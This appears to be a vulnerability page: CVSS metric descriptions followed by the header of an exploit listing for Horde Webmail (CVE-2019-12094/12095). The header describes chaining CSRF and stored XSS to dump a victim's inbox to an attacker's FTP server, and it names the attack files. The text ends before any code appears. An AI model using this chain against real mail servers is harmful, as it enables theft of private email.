The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

# Title: Horde Webmail - XSS + CSRF to SQLi, RCE, Stealing Emails <= v5.2.22
# Date: 17.05.2019
# Author: InfinitumIT
# Vendor Homepage: https://www.horde.org/
# Version: Up to v5.2.22.
# CVE: CVE-2019-12094 & CVE-2019-12095
# [email protected] && [email protected]
# PoC: https://numanozdemir.com/respdisc/horde/horde.mp4
# Materials: https://numanozdemir.com/respdisc/horde/materials.zip
# Description:
# Attacker can combine "CSRF vulnerability in Trean Bookmarks (defaultly installed on Horde Groupware)" and
# "Stored XSS vulnerability in Horde TagCloud (defaultly installed)" vulnerabilities to steal victim's emails.
# Also:
# Attacker can use 3 different reflected XSS vulnerability to exploit Remote Command Execution, SQL Injection and Code Execution.
# To steal e-mails, attacker will send an e-mail to victim and victim will click the attacker's website.
# So, victim's inbox will be dumped in attacker's FTP.
# All of them vulnerabillities are valid for all Horde Webmail versions.
# Attacker will exploit the CSRF and XSS with: index.html
# Attacker will steal and post the emails with: stealer.js
# Attacker will save the emails with: stealer.php
# index.html Codes:
